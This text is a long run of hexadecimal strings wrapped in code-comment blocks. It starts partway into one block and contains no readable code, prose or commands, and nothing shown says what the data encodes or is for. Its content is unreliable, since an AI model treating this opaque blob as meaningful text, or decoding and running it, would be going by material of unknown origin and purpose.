d0f301c76a03911d2ef8a51434b805643ad0b68fc90873575c920ac37fdb0f6009d7c01e99703c453873726e47e913b718d4f433561101048ce1ff96692442f77469c3ddee01957a59fc28300ff2388993f352d15de35c7618c625dcb90749ccc76469845a889bcf3e3382d4de80a188bdde3b5c713642a7e5179b6490dd66a0e57603891ecd5b75268178a524ec9aed44db441c76125b7343942fc389f549b7429289d6354c5bd808ffcf4df333bca533e0ba20371da293bca9feb67c96fdef16f9cd46cf861b7e0c037f4ff84ffdfe17d43974a6e5cb4706e07f3dd6e492828bd29e2ad2282145a08936b80658ee8c2c2cd33230794dc3b7fccc040d9c2cd9443374474811fc7aab8fa81bcfc897d858082da202dfc606a3e3f3382eb5fb29d0dcb93225d769f2f0c1ffca2de9a8a97f90d579802c217a71c2c1170c91375d5bf9fcb66bc3165ce9b891a28ce8f4985f75a9139334ab3858f59db61b5ff5122f13d238802708b2cc5688d3cf059d8932186c923cdfce70aedc62798da950d52c406673e9a55786392f5b8d132ec421cea6ede37a59f87ae4fca0dfd8ef7cd4bb8e83e8604741aa63dd46dc7d7adc57e81f8c383adee0c2f13224eb85201d51a974e6be23801827d441f8a5dade3dc833f2bc7b42d005820042a0c469fc0dfd482e482e85fb4c3d2d3712bbef187153e65b7*/
/*c50efb58389f8bccca59589c688898643c0b13e356e795c054a2cc74dda4e71525440b5209313d125e5287bd0970bba426ffe1cdfedff9fb6a0ee18f72a97dbe0d9310f4e9c12f5f6f4cf85b7218c760a211965696d727070dd46915dc846e0f1ca0c1996fa7873be5396620650a3206d937d78dfcdefd11c1233574aa04e2626590937e050b954122dc587dd087e58ca5991f08da921aaa6096009c7716947dd572f9bf05acf4a089d6bb7ac83cc90ca845afe35bcb8c8b9ec401d37425a78e1ab2899840e27d7ffaa04fcd453529bb137393929580a5d40eba60415d90b708f485310ac21cba06c938e49c24eacabf71b46cf6068db6c6941bc2cab3d2e5c523384c712a1e6121debf7ade92540799998dea733067c1962b880f9d6f7c78b630bec9fa0aa4192fe7e261d88e69d0bc90cc09280c9bb071048f5d758d31aa55290a6bc8ce173d2b44aeb3cd5b69c41313dae1d202a35ff35a88fb5b45d575fa28772581db5c7162d5ef532ae659710b2c84d2d5da651f9fa6b9ecc1b0230e7a80030525ecc38c0ec6b88183a46018ea34b047f553c26170d51ef7693a8e89895374a8c4a39047efedb8043047bc4f67934bea2fdddfc5642e4df9b39cc7701f0403edfcf4a3add5a135196bcbfe2318ed895e8d6805358f33309b72be3b57c3d9774196ac6c90fca8e5640247d1073ec816c1b9c7772c8d12fd1c5e93b0025d758d2cf905063d269d17f4c7443a44082789978087bc2d4de9e1ad9d3cfceb30c54378bf30f83435d19012e5326bf659b1c4e3b534e5b9c6e3876f9f43c5c7b3a03fd5b867ce97eb77bd089f825095d2cca062ed53d6a62a73562ff7689b869a28457617205f0be870147c310db98b7c43d91c1f6b40db4de0b81b16f8408cbe858e0b9f89197d008a083241a4c9465a7e79c50929989e437c22dd407101b2972148a6130de9f157bf2e5bfef5eadd0d324b9b2ecb66be0951d5e3c5bece5540e63326482ac34e9dee10ebb67e2b0a813a6d6100e75653a1b37d95004024aab5514caf007677f476be6805e30edf858fe2ff4c7ab9a66c7d4e05a05ae786ba3f3b010a7f5efbbabff74340eacb2913afc8bf9fd02f12e340a25504ed87bdd7278b80aafd36a0fb24fd3f79e6291fdf1f09103d41a005d5ba2680440f622609567b71ace930097c82180cb09ec809118a799e20f57007f1dcc702e01108c72e66338196465feb3a857b16f4793c2d54d40d90e6fedcde4dd25d189e3a5fcc4b516e79644198e2d0e28c1fb6276e28b1bf7cf7dadc7eebe0ad5df9d82f81838f136425637688cb4fb0ca913a02f34d247d58eb45029218a74b1365afb3bdb557bdaddec66b57b7839d1bd2219199833da6998490cbf2749468dc490a78e434c52607f3af8ab1aac134ebf2ad7c34352e0d0a5688f3ceb5280a525d4b83aad9bb319861a3d0fff34aafd7f130df91e21e93473599f32a6b30054d45a003991e47e4fde6a9683463954350ca8dc890fa8727901d33f178cd2661d97c4b051183336fa9ebfa5acd03f186539cfc575de63802d052e76875001c5212f215de28faee9400f83e8ab0ff4d6624f5bd7fbf6dc8b788742956787de5e07e8b2af34401ab1c273bb5a48a0b81064729ad143bf9c745fa0552ba5738eff05357c899b0ba73af92efb5b8bcdc3eeefd15dab6db2f267dea60d38d788d6b3b84200d3e022fb354b84245f859e01ff4cb3f3fd9833b9038fdea26062b56f85cc61481537d636251df0884c8a4391528b30022798656411adf6c32b1e4c1b1a42454c061b3539ab5c76d90f48036bab730c3fb1648a4dfe50d69d1e0c99a938d664e1acb35b986951b5b89fec1211f18ba17ecf7065025ce2dd6ddf199badea7c7a30d654bf4dd76a306b3a142815e9398ba2440d9137c0089470e3f76c47ef9a88ad65c7f7109e0a0fcbf22dd059e572a9f2dd39c64d0bacbd0e96d4d1c3422a51dd459be63569a607d54f4dbaa4e6182fd2cea8a7353cf5ec7b15e2864620a9436ba5080fa805816477e4ff1e486716aa9d41139eca7728cef768ddc54984c11b568baed0fba3eb4d83a6983a3106db1da729642053a82d6b057153eeb7a6bac1e500a46e09b3a0be074b8500759e575db3e7eea1ca4d5e9c6ca258806d3ac40f35c618cbb2de5b28c89cf29888dc2de505490eb25d0274757722459e5bfbad789d7c0c30d46734fb19f563a175838d3c152c925fe882d22e8389f213d43a4b5e35900b9a26b8aa9d822c0fbda941a0044b5015ab1a14df1c5e200af73c26ababfeb6dbeb7da23af35da9aef3af00bbd909eb4154ee8c4c55d0b3e1d3170160502443151761fb55836977bf28d41117ad9b212dda1c6b732bb8f30fb5ed724a73d8cdbf4412354ddd248428e6c17957cc474893dc6491a5a376c876045611cb377448aa06fbb7792d9ffd812954bda66aaa76e023edeb765a971b95be80dc4aa32de2a0419fee02f24df340c05374729e741e47f8c0b94c45a82d8c92a01e88233d33644c410de191278697fed9cc7ffd7257ed2545ee8f5ced5838a63269b2c31341f8dbd35cbf21796a97b05574e53fb6e554bfb3a7fa231ae9d142b4803515a53febae48f7050f34d4e28011be066d244cc389193e12c5cc02ee0835fe906ed27dd0576879e458d194e0597f6b39fff03869b407728c2f8e94c54b296e9574167fd308c3b0b39c42885c6721a455b94e5e98aa9682b09e99e3b8d0d0e01cbebf36608a785aa60a37695b18c6064c635f6b41241b68599d8d073c282d4177a224295bc7700ae25d95ae5714024b0624cc89cff943398*/
/*52db6499a3c3b57fedfef4933325778641a3a82534b9173aed5212b365b59749fc90932e68445a4bb64bce4026a6faf9a4c631cf5bab69fe3e440baafb87f2c98fc86e3620083527ef6d560173730be7a97c94a2e09bdbf50197cfaff9e39f8d3b24f8b3e099c31db3f7b0262b7f9f3bfefa6366d882ef53a27c52d8357adebc02dd92572bbf76b2bc472c069e6cff671f92a11084655061db2c991554a1691a6056955b6c4dde8fba8c3b54addd60188fe3803ac8d4e5d3ce034146e4a51b05aac6aa939c6d205f70cf6e4985ecc03188630bac4ca810c5bc26c90a3780d6e3176054ff4d0dc0b26c8156bbd7600dfb3ab4ac57c2943c722465e5c15722050615f9566c2aa6307b35c887e421efa17a5e684902e706ce94bf4cca4c72f0a102d8967bab49397b8aa585a67dfd91cfb2779f045ad63d1a5160f09ca9ef0c568563f71052a4e633e46025c3c285ef8e2c8f112880a726ee3441dea9aed4def92a37e5c4437973d0f8732e0820e5c7934e657d435c019098764ab1e21807de555ef334ffd7bf41ef9d1875fd922b2e389e305c60c218db53dc833f2af6191ea43ca4492f273d6017b98383790067154121aabc874c4cd4b21569af5baa1fa7e71097f981eee5843405b963d45e5acc14bfa61858d63b2c096b5972c3b10c3c77820f167fe51f4cd7980b9b95efd56e7fe456c65bfe9246231527c49717a73ac53e4bd9789f4e0182b7b6978098eaea2d180f1bb728561fad66b84189d4184b0959138cdc6f1799d974c7f004d847a7093ccd8ef6568269d5395094249c06612e3bb684dd21956cd0202224ed7d20759bcdb5716eab3e9fe4bf4c84e8fdff533b94f7a806aaad17f9ea51c834a40ab4dfcb9c4ef83336b1fb23fbada3a1b2a02f397916596f467010d479359682aa1d49032c16b73f5e153e842193a5436de063820a14cd86065a0d6cd6f94c42c0d8006e49a5fcbbf20fd3526106b0cbdcb2fb490bcdf955a8a322cf22839ef4d55cd0ce559c1675bf0b13bc9e78cfe29ce40a75a0974379a615aa919af819e196bbc3f31369a1f09a4672e2ca68507301aac9ba4fb93765657c8600f4e1bb5f2e35b91e6ec3bb236f8cd7fbb71a44233e08071ca93736cd52fa35a21c15bba979099d1c2dedb4aece5a6d395a52d7c6a359a5bb43660bc5c79fbe8bfb16a10f4852a2bdd05dbb9a3357654a7296bddb628680bf1dcf61141172f275acb7e149f97623c5afec6be5839667680cecb0456df99b7db4a1c3df73e70ffefae91496db761719434b11aa6cbaafefc16a1c1b43ab0b6f162e52c8b7f45b562a14cf3854b96aace22d94618ddd9195aefe6bec2178ed93d6957a7e51c8fbd853a67ed6e0bc0fe9bdf9a9ca578fcda69e6c45a6dfee56cf9f0aec696f4990e359dcf0b82e2e30c985a48139b8b19e9d824ccb12198128126a9ede25c15cbf26b1d9b431dfeea5eb7e583039718eb611ff8c247714f6ac2ca2caeda70b8d285e79fbebf20f17d39cb2334762d967989e0abb3bd5dc93cedabc5732957ad518558442b9f2a547cdb1191be7ec4c203955aa4f2aec17510882d155ab7b7887249bb090852a2de3fdef0a720deb355b28be6544abcd7c85aee2e3bec1f2eff5e459d794e9bda2d6c20983029483fdeeb39e69e98f2af99c6ad9bd6b43ca53d315ffafbc9c8b511cf561bb8019369f1c8e06f3a5857069dd45aa5d6cba583885c46651a62db0c9841ee1486f0debeddcde6caa27cb9ce118ad0733d1fbbcf8a49329831f87ae01fbdc6d9bf7632abaedccb610b3dd2ebe6334c139ae4b71f9febd46ed9439a5858d9684c0475f494d6615cbc223f43f7c37fe6225a58223233064b569ae5923058d3880078943ca38144e9ac5126a770f877270df0505b66747f02b7a48a4d60ec91f33458cc7d749164167acaf274d928cdeaff18e57a4f8f9ccf6904441d7b79e37c489dcddd44c3c21cde25c143f0678b3ae065a6450ee3b3e458c30455b9730469cb07999e8cd350e87e03fba1ca503b1809e81f2f54c10e4d6b415416fa339c582ed8d439c51b6e743e7a834643b53f124f706eaf9b63ddd96ec1b13304098d125ac3fa030f9e13d53bed60f662a9b0f4e4ee36a1d1a4396056a462cc093ab107bf6599b222800a66474e1724a2fbe028723aa672636e88e0ac4f3f66bd936d6ec63f7f8bf22349c0417fe0e562f93288ddeffb93250e26bf41d5e90c393292c074a9e587b6cd7ea5598491aa02bf70dbc6ca6d882814ecad9e6d360ded652661a0ed513cd03f023dcd7876532729595597bd9b51fbaa903feba78d12cad948b09d27e598f1ec6ccf9aa9db649233b0892d128cb1f5c2dadf547ab33272fe5bb283c681bc3edd5b2b61ac3715ef999df347f1971389dc24f40065d16b19d7aa90f990dfad87a72d9603085c56d27b82cb45eb9f04d53d49f0f99928ecd6d42d1e1a6cfbf8d98ccfd7eab83504a9f3bfa0f36399d8675aa09894ef0072d3552ed32049cf2d747c71741b785c41408c2efc91b3b310701d7cfe3e45563c4a8cb83ccf080fde082524928ab7b6e1c117b35d9162feae6d3e97f8ee139803a2a31cb7409146f31309d2101aef1c65a8af7dae53889712738f7699be101313a6fe80d1b00e14c77447bd8df8c5b02f1c023636db4c1e2f765d2136bf7807d8e6908cf4712f665540246f42b4f6e602175ca6a9e11790bca2d638e5e42fb2a8a1a73aa6cb9043f462c57f60d4a2749d1beacae8a7f720a2d6b028ad3d3c1d1645fa351708b6e7a7ef9def205a9b54585a125baf638fb6610e18eadcb7d8941f5a7fab6cb*/
/*0642faa6742edfb47179328505ef73ea98fa9677d14173b34eb94fde3c51bc4f1a0902e7ed41a15507e5b1fc8c7962d1845d3f124f15b10753c75f88f27b908c1796619c457edb32e1a00f03f0f9a0fda01750cbebe301ebb1e13a9f55ca02a352ce15b5aa3de5510f118d0e616790e0493c10eff0285130c1f2b9cc93465ae9db7d76a37421a1cf5206effe43765001a1f04e4679e6865a2c57a51eb2b0eb8ce707400b9ad3453cf83b36256a58ae5cad0ed6f01218400c1a5dec243ac8d0aeaa9c473836ccc3f74c933f50adecb8f2cb35ff7e3aef42b96e280685e73b2dd3befc3a86a361568cbf1cc0f0396e37f83f4c88506c275f4b76e7d95c0fc90711209e99e2c83de1999d1b5d4d611bd8230dd0bd460fdbcb540d1646425cf6fd83be27cbcc2fe07a914d972febb49414fe0065f0602ff1081902430bb27eaf231ad98181371331c58c5158c2a4a26eee41840c518806b4924a6279af9233235a33dddd63feabf77ca7466b7c127d31862391f01249f2127a3869595f53bef50a5bdeac7374615ec8b5f6cf142a2c537546810e82786fdfc4ccdc0eb36e2279310fc0b41baa053eb1043d957ddc1112601dafbec94f9bc071854225ffbddd0c7995747a80463a2db417f637ef6d4dbc2d87464269d4d7c2b2de86471a213338391393553d74594b735988db42ad9d9ab2b1aa1858fe8074ad3ed7df8b9fa6688bed3b8c8919068e1ebe8a3717cfd91dd518d1eef92953fb08832a1b1a5d29fefcee132d8b2036cf985a9af3998fb0593d38dfd06c5bf6543e6401f3e1cb8f42a995b2af70316935861de884b150c26eaea84d3d395828d9f2ac62e5b9cde45a7e9f56fc28db424409e2ca15f7ea10fb68b9e5d8fa6fd61dd9dd7a0dda292174a394c73b464b20208e62c7fdbb36d51bd35f88b5548ecd67801cac70d4e6e04785348d21cdeec4aa7f284e5dbe3f30fcc60cd0484c5cf851129a41b0a5617cde7cd8ec791f288b126b1eb56efe45945f1a3c3a459cce5e380eac26f481782ec8245ff0a44c40f2166d7a464b5149b41ad4264694dceeadcc8a69426864f0c7b8ad94b8e4c93cdbcddb8c02dedb99c20e5dd89d5ea60cef54780fa77db63d3d7a2f6a8d50ae2369efe6465d22e2d556f4dfa184935c30c6da5fb2bc6b31be03542039a4b831d8ee7144efe83fb300a9cc3bc7eaeaa561d889c88a660db7c5f2035f34de32ee02082f28933dfd08fea35f0ab147a65c5df200673534e828fcc240f990de725be514bab1e8c7977cc1331bc3668bf5936d431608a1824362e6f682c31170f85acb76cd5d834c0c3529aa5ec5176f26b3e4b8fb22c6778952140e0ec85d7b12b2e73f251a3594bc2649b2315192cc256d44780b11b261c0802fa31d0f84d94c8b0d132bee65a4d1334fd0d2aa7c526b95811676f5acba79b6fefa88582a6e0b6bbc2b0498c04b41aa9657eaa9455512f7923af909979ac597a411d3f5c0c6f2f2c00353d65468380fb387278fb49ffeed04467e8cbf50bf8508703321185a74c2ec12413aa06e320ab6042dcf00bfc5bec10756e39d7e346f6ef883c63729fef3288cd066354d7796ae8e8a05d51e1a95c14eed61195e5556a00f52c5d7369cfdefa1c850871ed4b05dc3c755b386c61f38f3bc1c99261c8893d6964541142ade4d9be4a92b4b8cf3595654bb17958ac9a9c46f049370c732013274c625922afff3e56e46fc81cda83ff17bbe9d7c1826fbeddf2992b47985bc739bb58f905e0c8ade257fe636a269ecd63752f82033de1730c178041c76294dcbeded26d0665d4ee63d62a2652fbedbc6de7b2c2551ad0532c8b5019aac7c1c3677518d411b7e4e598ec6dfebe6276bf950086e8f55dac235cc82111b86111eb9e5dc9eaaa18edad0168ab780616c080c9baeac36849d7110ca08bbe0dedf5485d99f11cf5ed7f4138f09884afae21474c2066b3ec526f9712e09410e40f235830a8a9f87e6e65f2dceb2e06654d5739bb7b1ada3fb1bbf0c4263febb61508d82b21e7d44f487a0a1e44f8f395362e47b1a57ac53ccbd110d1ac32e8eb54108810363c9ffeb9544810ae6f480f597d72c4d30f24a8bb338678a298f09f3fe640b0656b80d0ab3d442c7f56793d5f0b96d451df8f4549442483490c780fffd828990a46d39f5b9b8a6ae30b943f306373823b0b56e6d08e12c6e7ca54df4aaea7cd25de0ebd52fef2f605e1b2b1b51ddfbe7452767c1dedd0036c448576f487503b2451e0d048e1aa7a3cfc99ce86c64ce0e14298499a028cb30797c42bffc754cd452246c21b68557cf7561a5b01e053774556b06f3d8ea233c4370bdd7fa77e21ac8cbc222fa9f7b5f9f89797824e45d1aa92ac5ccaf56c87650c9d69a98e06401f2e22e21dfe4c6aff96651b0a8d04e5ab4b313c2825050ef007ad17a05f207df747ac48801d9b122830c4009e93e72589b096cdaa922d02caa086093f6fca35faf0dd4647b31f6308d7514b4749600c1351b2a4767abe2cf44c69ea2f3ac81ed6051345f0f05d1927ae9f01c766f0be0ad220dfa077a0e9278ab22b82b6056d3bc6eb4b85202fb77b8143b5e6fcfdc0b5ebe8b6df2639a8977db80b33b0258acc04b46e93d664b8ecac4caf20807540aac18254e26e27b5ad3a89f6ef2cfbf97e93de92f7753c42da1b6c388dd788efef00ebce1981266ee2b0d526f78746ac82977b800b7dd735f52d951e35c555ade51a1ca03eabe7ccd09d5e6eebf595052574eb070ff65fa70400108d5145a024551c07aabb1ac4ee675a7b265beba706410fc4f3f2be2f52d592e4d7aca6a4e727249*/
/*3813190b390e3efd21c43b5be7407ccd67b7f8040780456be085f018aee6d7933d2ca9630a436e0670cd603273e393620ab81bf1eb89e78321c85ec0d59cebfac19d4d5e4d6a2b3af98f13d2654e7d570594d87998b3f3a75e1e0798dda5e1c67b229ee8baecce2fa6a24526889d9f40cccbc877207ad0238fdd8c058815beb37426643547ca7d2d2983f8df566ac134f56ce3b27598e0936b32abc15468ebf1c068fb353bde0ea8e8dcae1b125871847379317be42a4aea69021ba6bc1bbe1019dc4bb82903c3ec755689d2bfb11505e8e3dafcc51f9561cb8206872f6348b8a377d77ae9924e0420611f85c875bf418485a498d5fb21346458f470732807950fc133cb32d456188b75798ec1f9f8b15e1d7f708b36a38b57f0d31136cde22ec7e796cf240d3b83d0c956826f448133612d112f517db0e4cbdb6c895aa230cfd76ae8890c1b1c92540125f0aa7b39758fc25aa73a7ff70897367ba6df202a554962c3fda2c05a5c5968e50d812d257baeb2c91294b330870152582dff97420c68509d0dbe492f2fbf479494770ff7e5a8957054cd545ad019ee6a43d5d3d28e826ea2f0366284dc4738c8892e38eecdae1c85d4d41300537669b7fb30dc4e5d5c89c85cc7fa9446d17e3b99bf09357ce6ece192c5009399ffd5cdf5a3186e296247560303f4173458386ba762db9e6d896b6f5e869020c94b4a97111c425b4e75b59cd8b7e75ae244c93421a493408de1d7538d780f20a059e3bf9d75f6a99f55a77fe2f32c8160fb901f6f71adabdffd6f4d67da883cd7f3251cc2be201931483fe9d6cf8e91aa88dee9cb5e0ec55566571300b7f8e6693d6dd6fe484d72ab887ea530b027ad98441c746bac83d7e71e31baffcbdebee33ae08a4f1e8147bd573a8e6625de5e97372acb18094e2e6c6fe1bec26f4ece6150de3e97a74e0888f673b635c6d8777df854fb146d06403b4d4f7c73c27c425e1202dd0ef10390d8d4d6687661d9afb6f098a6330b99648d7a31cc5ae25edbe0e534d6a8d1257e6a58c4a79a0b74ff400a5f28c61689f7efd5490a8f42de5e291e879b7747f71d02ad3dc8e70d715620864b68a596ff38522b0a8d3d15b655b3333ec46db01887d20f4e764419e300e200b5a6e0793f6d1ff35e599330560a1ef0f400707992f1d3dcfe7ab91e34f53b95a4a9519cf4c112a4ca99761b20f3a5d41241b62bda3ffcd2b0e98b2b85e3142b252dd9e4cf1a732a2c44d2e385c6d3516d0b772bc565b09f12416e08678ae5fea78a0cdbabf143e7d95c2d3c86728c8713dddb4c63fc298903acdbe18c9a6bd2d1934aa527bc8e3d967139e7673193d20e5469a2fb958a3c50494d57aaeab7c98e9aba09c78971b80c4f8a2ced8bb049e51c37b3ea047d1295d67c97a7c1300898e99c123b2af7f44f0f38f7054c694244a71181b6af58b45254234848625ed8a4ff67840e62fc3f1cff0a39de24f753524d54edb1854d740d40663a1c88250bde724183107ea708fa4bed049bb5b5aa33b63f12a9a8d71cb0e4c56fb9f8d1b228dd97e43484088f4ebf9ebaf979a9d248a33b537c939e8d89bc05c3dc8ca326970c8aab60331994cb10f84619701b0e96115600ab49c9ad2e56ccfa7d357fd87bb5e8dd2fa67b5cf7ac4e4c570015c3f6b4d4071658add0d0004e38d837b6edec9a105f1c4de51e5b64197523ea09a0cc68fbc9e8e150dfab640f67bf4687dcb43e2adf3268f496462c91a340992060a303ca5511143c3035c1b1ef81b785e5ab439ae7de7fb1cb6ae251aa0ff9714668737431769cb18e4f95bed099f56fc3b90060c67cc5856de47974e1229ea4d326e50ad4b1f1e1fdff556aaaa70dd0b89c825dd12f9c217df797eb31ab57058b2c43a5aa9b414517cdcb26cd130b6c47559ba9b2d720f28c9647354625db410e985a0d5c75727cf9bae64b6bf5db821c9ef367a8e2e40418e61c822f625b5cafa633f670da66d0608b1b7be27f8c29639c7863dfea2ace3900c37429aadb9c9bdc5a5de5ad47dd480dc8b7a1e373315220107f00e32c84d0e0426686379bd6ea11e4d28b0d6a39177a7226c18eb949d3cd7554aa7f55447d0ca9ed42a0b47285398328c1145b4b8ff381472f52eb286968fa327ffdbbceebaa441da1e96882d59e8a142cd380045c1ae4f2f49a2b46a68ba7c75d826b8ee85298b65c9ff49ef2a42576118a1669c16ce7f24e27a4aa75987df129830ac9763233246237053368bfe6005374b0e3b1592486a3eaa68f4358f3f57345289b5d1829db5d22b91251828e9ae5e8623421be9ca2c4f4081274d1d69befc21209d64bc4bbb9586b578067d95561e78dadcdb345ba627155b378a91cfc051249ccaf5c4d3d99b59f934b9c0f11fdd5f89a18b7490463b847edcb02176bd90d86bffdbf87a64ad01f79e40a1cd15511336f267393bac4974ae720aa190b1d286cd531f5f9d3ef0a2abcb20c68874dd5a6eab99b96c21aa2d35efa85d52ebbe02a66d9ee884de1f5209babf9d034197570673c0a9d385ab5db5f3521e5a35b7aacd46e1056712dec4be394a85b9dd79ec511bbaff6b516a130b8f8b20cfc8c54471a1edc5e31a73b09ef0dcbe77aa5f980300dff548f88c08b8049aa4d2a362264f2e402a6f1d8ca0fd96a5c4466a1888571a37ab6d8cecd01d909c3f208392e0225a35bc4baeea798787f9ac57907fe9c1d5ba0469a88cdd47b77f81baeaeaac2523f4241e68ff90538cb448c9e2cff2b0df740986b11bb38fee7545c241ac37a1f0dd5e7b6be5db3b561a6d8b170bcb7723ede6b3b06f18b65be71c38c454f75fd*/
/*7d6a08d2bac027487b68d0455ca5d7d778a4569cea799695601c6cfcabb949932f7a9ae075b88f504fe63247842af225a54bb98bec9d4e7750304c0b0ab675fd4d0808778d8f0581f8edb1d37749fc98e4f3118202cd8e3b70f922892a6a5982370764acc235f2402ce04c36178fbc2613fa01c9be5501270f1fa82022bb35a2dbc490e37bbd8392cbd36d3aaf2417ecec573e1e641efc1d5df91771bd802d1aa07817106aaed06b204eb2eeb34b95aadc409c0fa0a2af2ad3f0b77c83985c9f2e823b82fa64d827cad65806bbc45a94e18cbb76b7d9042dfcbc428a68326ded780d140a7fb90b69797650a492bfac644ad8a299e8d4b70fbdbb67ef35f85e7da4920edfa8b7454094ff270f5c6e0c728c93042f87578c6912f2cd820b7bcc653152fc2b557963f7db433874b57395677ce18f4af4ea7ba1f0f879f5d737a78aef329b2b9b75d6e5937de65bd3de606610ca765451b3e559976838b681bd0f7b7eede84665a7f3fdee977eb0342108b8e69bce861de74a95c3bfa76ad094c8df640a4631a52faf6af0691abb9c4e62a0eb7bf0ac2cc058202688eaac89e431b07f03aec30fdffa6a22ec2ecce4a8c9f8b0de2b98b9e498fa4c58eb72dc405746d3ecb38413e768fa1d6de90a026105a75fc966200bb477d4eab193bbb4a16f64abe73afebd4843373010a59eec8d6f107f74e8af8bcc4599d4301c5f21a5ce8971223508036483d3e4d01c1730a28f09daf6bedc9aa71ea9259c69377c026dc4dae574a16dc05ba5d0a6943bc4f46eb13ef4f0d3c0579277cb07f349bff6d9629457df62dbb63511805a5b3a8cfed5417c5e8883abece5e9003c5b74442b89b7791ebf757488633b4468759e9dbb8404e048d8e28a779850b9ea78327206f1733fc720b37d02252afefcd05d50af7651a8b67b04b079e5fc591fde5142b4b6c6e33ca90d83007195b902c2e306ffd5aa2f208d5c528ff5e226d69de709b82f40014f3148dfdad9bef9121a3993d4ccfa81311dc03bbee476487509382ecf29a0156ad1c4dffe011663b2a631fa0911c413a758213ed95fa9c75b32b111f0998a26cd781fa385b58690a31110bc7de568b1a0c444a42d381781640523e0b6dba5fe8666ed7fca1a2e7d271c834ad95fb10e46cc673e48a000a8b65ccf024cb939d2849fa3cf48b138f0063632bf2d480153ad70c086ac26d46828b2c726c2d0e42e42a9b5c635cac6742a419bd08abc7d11c65d06af41186b3c743d448f95c519a54ae3b52893a11a7c482fc75aed34df12f4b3823cf3f652add09fe62cf77fd01a27a06992e26f035bdd3c34708d0151126c1b1177455af63577e5df85219dbd6acae8fa69806a3ecb273a05d35e110eb97e278f5fe9de807225381ad2536cedf6e016a857a36a4d88ed4b5b47208acbf60b10cea0e1b72edbdb82a415fc3fc23202f2c732426c41dd209bd5ec70e83e3aef82e407ce3972c9e4f8502c29e8886a6431352a9f7b166bce8ff720a72516f90c06e1e3f487e972a28c07a95593fed3bb134b92d9479c0d9bbf72e314d5f15de01b09c5701785b1d991a40a902e697d2e83b9be146b9be787b25c51fe7d7b8438d3115f1c36a474a3a170ad3f83f097e5beb67a6b5d9d4826d9e29f53aec002cf4666676fa999ed713787ea1103db875c2e9c93d33915336a811d47559bfdd61da19f88bcb3fd2e7b5f0c1a2987279a2f10ee6d03e498c47804bc5f918512e0881323fabe4c58628631fb56e23ec4223238ce6389592c78fa1e943c9648b4837b8b8c1c3cd6e6e554ce503817632498a243f42ff32c39a5481162d354048506579ba476bc62054296995f5445fa33f16650365c19407b983b5adc52af7c5d424ac1cb75cd0bea190e1c6ed95d8a9d7705b645863fafb31d3db78fb0d3c239077c3fb683be6405bbe5173520109ca6d5843aa7a0e6a3de00d96790718dc2f94de53d6e1d510bf91c5404bd378337488fe31e32cde42bec77fa9732fd96356661b8f675ae53cfcf7dd963fdbfb4d7248248c979aa5c534f4182971675dbb85a75d0f04596b82f85a42dd34754879eb9fe6058a7578250fbdc10c42d432a90db97e2c4427a26e631c6543a8c640dfd1bb9d257eefa5d9ec6b218fd670a9693a5eddbcb5b778a8868d729be11c56e7f71caee7a91347758a379cfcf95cf21485f6f6ee807afbec6de6d185f09b261e645a6f370d8d4ece9e304bee4c415f18243e99f8877c5eba3e14770f655fd3a02677ddbf363f0eedcaf025280214da6f7c778ebfffdec18e10d7f04759a642d4ded0ee250528caec6c86fc138f555b1c998fc8356673bec1a40303c4a5f93550cc83904126ba151c327d2ae62b14c1e3580a9d8802ca8b7943e17573df45fd599d27932d7f127b8203dc5a47be2955a284e86a8c4d8341ad3f6bbe0e1d7296fc8c2b4172f21327794b236050019cf34b1a8df7d1aa93bf972a0071c57fc2a2f808c50b387f1d75122f2dbc93d52b277a6b3933a617ac8d1288bd261ef3bc1af800b854e998306ab10d610fc76831519504d224d9d7cf030389625aad0727a2a1577efa82750c17f6e11bf40125a268c4282ec961d354fb4b5426074c729dfe86ef49dd958fc236b0855c663879c5d927ec1a632350e8af97ceac3ba9573dc3bfd4b92fc728b988db3143d0880e7de534c1092ea4f2b007918a115a6515425c23a355d48f83bfddd46a9abaf7610ffa0a97f664f2be7468104c7b0b65e998ea277fe75ba6989ffd69d28b913e43fcbb3097a47412f70c31b241aadd9eac74113e5474f5b46b30d4160a87d50a8251005c6ec*/
/*312ba3c5df5bd04a1169d9fb41133ef057c7b73060e6b002c4a12beb6cf8c0b8785156e570b1ed35003dfe6e198e4f63fbd43576f8a5d27b09ce935eecc4042df52b2c3a43583d70fc2b8bf3626a192dc0562f76f7c822488185c9b19dca586eeec2430cf761824de38881adc56051c37c67ef2e9c8acaff9680331d09994448968205e9216e41889ac25da0e987af5048492883b1964b44c4340d27c7c4ba4f30a1456774776851431258171d1d46f30f11fcd07e9f014d6e00adf55b4a2330c6404f861a11bd75f7024a6f1f9376971e532caff9acd59eb1a4193feaa3f4395e077dd14fe4ac5fc9a07cbb9366f7c68f7725f4c57b8af2dcc4a0c538d9427d563d77bfe071210daf3a60be64b065b2ec4a6d7cd0c44d527e06b4266d8701d382884bf54616b054d29a86944828b8b728e3de8ea7057c1a352324dbce21698d7d93da5d5c833c54ee085ab265b6008847cee8a076044656344c0c71c6f95a08359e455b8c46513cc694a59b81c0c9332c21583650e764c584986bc0db70e81f7f6ace5903e89793e4701be8713f7f6fdc841549ad8349a71ef43ea335d9c63bcecf0f1e527a9dcb42fb12b15f0d405cb75c887e7cfdb19e81706f53952cbf47d305c5528eb4f618c84573043e23f9cb59eb911a27153bd2eca608b49abeaeedc70a7b20d704e589b2566cc73f292cfea4189b722439546b8da31c7eeaa5f1ef52a6291bb63ee4968d8d7c7a1c12a15e92562e3daeb2dadd88bab005a4eb2b15dc8154d7249f7f462a015a04c30a8fd6333792010e6ecdac4464b1a84371aa256729110d634740ee7aaf902f3866857df50764a697c3351c7f5bc9ab5e17735d8181e986ef1471dccd057b58ec95b96bc7c809bce53ea97a468e2e76c42a20adf8716fe3c774332dae8b52783aefd69a5e021c2b1f1fe7b76005440d8986435022f3b708ff9fb95fa5affc8443c61e977de43c4a416ae881c9f9733281c65b550ab3f5c4639dd8cddff1b511f9a467366ca76d7ac87e9c8983b69a54bfaebd53fa9c458abb5d659017c5b3008c0b5c1f336ec87089bc112486e037ba2b284600213f818fc3cbdf459b58cb74b0bf9286767b24ea8a1301b34808239e95052226b4b53e1facb6533adcb3c887a9449c8472c42d60b48d3cc59d6295c59295ad5224e11975d679a4c6b1f32a355cb2dc7dcc65d8d93063498b6d9e15e5917ffcc15344035cd727b73138ef1991d2f9e89ea8b79e58684c8156578a45d116bb1c00c43f617fa0c9379acba7402d3207914760ada5890974c05435e73ceb49270ee064b446a2eede774085256d3f453055f690cee35877278d802f29d17135a471d24cd77290c32381af15c950f6005d796caf3b9a8a068bced36d88d7490e312373f8d275812a8404b7fb274c282fe05ab14baf1eae8d79a4cf2038a13f9edf257cd6c3baa14cf0c071ab08e4e5b56cd64cd